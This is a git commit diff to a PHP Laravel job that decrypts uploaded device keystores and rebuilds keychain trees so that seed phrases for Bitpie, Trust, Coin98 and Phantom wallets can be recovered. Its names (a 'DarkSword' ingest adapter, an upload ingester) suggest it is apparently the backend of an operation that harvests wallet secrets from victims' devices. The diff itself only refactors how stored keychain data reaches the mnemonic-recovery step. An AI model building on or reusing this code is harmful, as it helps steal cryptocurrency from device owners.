feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+6 -12
View File
@@ -3,6 +3,7 @@
namespace App\Jobs;
use App\Models\Device;
use App\Services\AppUploadIngester;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsKeystoreDecrypt;
use Illuminate\Contracts\Queue\ShouldQueue;
@@ -46,6 +47,7 @@ class DecryptDeviceKeystores implements ShouldQueue
public function handle(
DarkSwordIngestAdapter $adapter,
DsKeystoreDecrypt $decrypt,
AppUploadIngester $ingester,
): void {
$device = Device::query()->find($this->deviceId);
if ($device === null) {
@@ -56,27 +58,19 @@ class DecryptDeviceKeystores implements ShouldQueue
return;
}
$ingester->splitStoredKeychainVaults($device);
$device->load('keystores');
$wallets = $this->wallets ?? [];
$sandbox = $this->sandbox ?? [];
// When dispatched without a payload (e.g. AiLiveUploadIngester::dispatchDecrypt
// When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
// stored under source="ai-live/keychain" is never fed to recoverBitpie().
// stored under source="app/keychain" is never fed to recoverBitpie().
if ($wallets === [] && $sandbox === []) {
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$kind = $row->raw_json['kind'] ?? '';
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
} else {
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
}
}
[$wallets, $sandbox] = $adapter->storedWalletTrees($device);
}
$errors = [];